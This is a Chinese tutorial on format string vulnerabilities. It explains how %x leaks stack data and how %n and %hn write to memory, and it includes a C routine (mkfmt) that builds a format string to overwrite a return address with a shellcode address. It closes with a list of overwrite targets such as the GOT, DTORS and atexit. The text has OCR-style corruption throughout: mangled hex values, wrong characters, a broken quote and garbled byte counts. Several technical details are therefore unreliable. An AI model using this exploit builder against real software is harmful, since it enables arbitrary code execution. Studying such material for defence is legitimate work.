當printf系列函數的格式化串裡包含用戶提交的數據時,就有可能出現格式化串漏洞。 函數包括:
snprintf
vfprintf
vprintf
vsprintf
vsnprintf
除了這呰函數外,其他接受C風格格式符的函數也可能存在類似風險,例如wind0ws上的wprintf函數。攻擊者可能提交許多格式符(而不提供對應的變量),這樣的話,棧上就沒有和格式符相對應的參數,因此,系統就會用棧上的其他數據代替這些參數,從而導致信息洩漏和執行任意代碼。
如前文所述,必須以格式化串的形式傳遞printf函數,好讓printf函數確定用什麼變量代替相應的格式化串,以及用什麼形式輸出變量。
然而,如果我們不給格式化串(格式符)提供相應的變最,將會出現奇怪的事情。例如下面這個程序,它將用命令行的參數調用printf。
按如下所示編譯代碼: cc fmC.c -o fmt 用如下的形式執行:
./fmt "%x %x %x %x"
將等同於在程序裡用如下的形式調用printf:
printf( '%x %x %x %x");
上面的語句透露出一個重要的信息:我們提交了格式化串,卻沒有提供相應的代替字符串的 4個數字變最。有趣的是printf並沒有報錯,而是輸出如下內容:
4015c98c 4001S26c bffff944 bffffSe8
口printf不知從什麼地方找來了4個參數充數!事實上,這些數據來自棧。
乍看上去這似乎不是什麼問題,然而,攻擊者卻可能利用它來獲取棧上的數據。對棧本身來說這可能洩露棧上的敏感信息,如用戶名、密碼等。
n% 這個參數被視為指向整數的指針(或者整數變量,例如short,在這個參數之前輸出 的宇符的數量將被保存到這個參數指向的地址裡
如果滿足下列條件,就可以利用格式化串漏洞執行任意代碼。
我們能控制參數,並可以把輸出的字符的數量寫入內存的任意區域^
寬度格式符允許我們用任意的長度(當然可以為255個字符)填充輸出因此,可以用選擇的值改寫單個字節.
重復上面步騵4次的話,就能改寫內存中的任意48,也就是說,攻擊者可以利用這個 方法改寫內存地址。但是,如果把00寫到內存地址中,可能會出問題,因為在C語言裡00是終止符。然而,如果可以在它前面的地址寫入28,那就冇可能規避這個問題。
通常來說,我們可以猜測函數指針的地址(保存的返回地址、二進制文件的導入表、C++ vtable),因此,我們可以促成系統把提交的字符串當作代碼來執行。
關於格式化串攻擊,有幾個常見的誤區需要澄清^
它們不僅僅影響*nix。
它們不必非要以棧為基礎。
棧保護機制對它們通常不起作用。
用靜態代碼分析工具通常可以檢測它們。
在絕大多數*nix平台上,可以用直接參數訪問來幫忙。 注意上面的輸出,從找上彈出的第三個值。
試一下下面這條命令:"%3\$x"
但是如果打印很久的數據會出錯%hn能夠解決這個阏題. 它只寫半個整型,兩個字節,那麼就可以把shellcode地址分成兩個部分.依次寫入到 要覆蓋的地址以及這個地址加2的位置.這樣要打印的長度將減少很多.
報據上面調整的結果,可以構造一個所示的結構的格式串來實現攻擊.,
| retloc+2 |retloc | % shaddrh-8 x| % flag $hn丨% shaddrl-shaddrh x丨 %flag+1 $hn丨
構造攻擊格式串
由用shellcode的地址的半字構造打印長度來寫入返回地址,那麼必須注意要把小一些 的半字放在前曲,這樣才能順利覆蓋返回地址。用於構建這種格式串的函數流程大致如下
void mkfmt(char *fmtstr, u_long retloc, u_long shaddr, int align, int flag)
{
int i;
unsigned int valh;
unsigned int vall;
unsigned int b0 = (retloc >> 24) & 0xff;
unsigned int b1 = (retloc >> 16) & 0xff;
unsigned int b2 = (retloc >> 8) & 0xff;
unsigned int b3 = (retloc ) & 0xff;
/* detailing the value */
valh = (shaddr >> 16) & 0xffff; //top
vall = shaddr & 0xffff; //bottom
/*
for (i = 0; i < align; i++) {
*fmtstr++ = 0x41;
}
*/
/* let's build */
if (valh < vall) {
sprintf(fmtstr,
"%c%c%c%c" /* high address */
"%c%c%c%c" /* low address */
"%%%uc" /* set the value for the first %hn */
"%%%d$hn" /* the %hn for the high part */
"%%%uc" /* set the value for the second %hn */
"%%%d$hn" /* the %hn for the low part */
,
b3+2, b2, b1, b0, /* high address */
b3, b2, b1, b0, /* low address */
valh-8, /* set the value for the first %hn */
flag, /* the %hn for the high part */
vall-valh, /* set the value for the second %hn */
flag+1 /* the %hn for the low part */
);
} else {
sprintf(fmtstr,
"%c%c%c%c" /* high address */
"%c%c%c%c" /* low address */
"%%%uc" /* set the value for the first %hn */
"%%%d$hn" /* the %hn for the high part */
"%%%uc" /* set the value for the second %hn */
"%%%d$hn" /* the %hn for the low part */
,
b3+2, b2, b1, b0, /* high address */
b3, b2, b1, b0, /* low address */
vall-8, /* set the value for the first %hn */
flag+1, /* the %hn for the high part */
valh-vall, /* set the value for the second %hn */
flag /* the %hn for the low part */
);
}
//*
for (i = 0; i < align; i++) {
strcat(fmtstr, "A");
}
//*/
}
示例的程序有些特別,由於格式串並不是復制過去的,所以對齊字符串要放在格式串的後面。格式串漏洞利用的要素是以下幾點:
• 覆蓋獲得控制的地址
• printf參數地址到自定義的格式串數據地址直接的距離
• 格式串數據沒有4字節對齊的偏移
• Shellcode 地址
可以用來覆蓋獲得控制的地址有以下幾種:
全局偏移表(GOT)(動態重定位對函數,如果某些人使用的二進制文件與你的一樣,那 就太好了,比如rpm:
析構函數(DTORS)表(函數在退出前將調用析構函數);
C函數庫鉤子,
atexit結構;
所有其他的函數指針,例如C ++ vtable、冋調函數等;
windows裡默認未處理的異常處理程序,它幾乎總是在同一地址
堆棧中的函數返回地址
覆蓋 dl_lookup_versioned_symbol
其實搏蓋dl_lookup_versioned_symbol也是覆蓋GOT技術.只不過是ld的GOT。